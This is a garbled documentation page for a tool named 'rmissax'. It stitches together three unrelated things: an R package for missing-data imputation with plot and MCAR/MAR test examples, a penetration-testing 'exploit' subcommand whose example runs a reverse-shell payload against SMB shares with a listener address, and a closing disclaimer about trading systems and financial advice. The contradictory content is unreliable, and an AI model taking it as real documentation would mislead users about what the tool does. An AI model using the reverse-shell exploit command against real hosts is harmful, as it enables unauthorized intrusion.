rmissax follows the pattern:
rmissax <subcommand> [global options] [subcommand options]
RmissAX produces a gallery of ready‑to‑publish plots:
| Plot | What you see |
|------|--------------|
| missingness_heatmap | Cells = missing (blue) vs observed (white). |
| density_overlay | Pre‑ vs post‑imputation density for each variable. |
| trace_plot | MCMC‑style convergence of imputed values across iterations. |
| pairwise_missingness | Correlation of missingness patterns (similar to VIM::aggr). |
plots <- generate_all_plots(imp_res, pattern_tbl)
# Example: save the heatmap
ggsave("missingness_heatmap.png", plots$missingness_heatmap, width = 8, height = 5)
RmissAX bundles three state‑of‑the‑art tests:
| Test | When to use | What it tells you |
|------|-------------|-------------------|
| Little’s MCAR test (test_mcar()) | Small‑to‑moderate datasets, quick check. | Whether the missingness is completely at random. |
| Pattern‑wise MAR test (test_mar()) | When you have auxiliary variables. | If missingness can be explained conditionally on observed data. |
| MNAR sensitivity analysis (sensitivity_mnar()) | When MCAR/MAR are rejected. | Provides bounds on estimates under plausible MNAR scenarios. |
mcar_res <- test_mcar(my_data)
mar_res <- test_mar(my_data, aux_vars = c("age", "sex"))
mnar_res <- sensitivity_mnar(my_data, delta = seq(-0.2, 0.2, 0.05))
All three results are stored inside diagnostics$missingness_mechanism for the final report.
Runs exploitation payloads against identified vulnerable services.
# Run a reverse‑shell payload against all discovered SMB shares
rmissax exploit -t targets.txt \
--plugin smb-guest \
--payload reverse-shell \
--lhost 192.168.100.10 --lport 4444 \
--output exploit-report.html --format html
| Parameter | Explanation |
|-----------|-------------|
| -t, --targets | File or list of hosts (usually output from a previous scan). |
| --plugin | Single plugin that implements the exploitation routine. |
| --payload | Named payload defined in the plugin’s payloads/ directory. |
| --lhost/--lport | Listener address for reverse connections. |
| --dry-run | Simulate the exploit without executing any payload (useful for verification). |
Without specific details on RMISAX, this guide provides a general approach to understanding and utilizing trading systems or software. Always conduct thorough research and consider seeking advice from financial experts before committing to any trading system.
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rmissax – Full Technical Write‑Up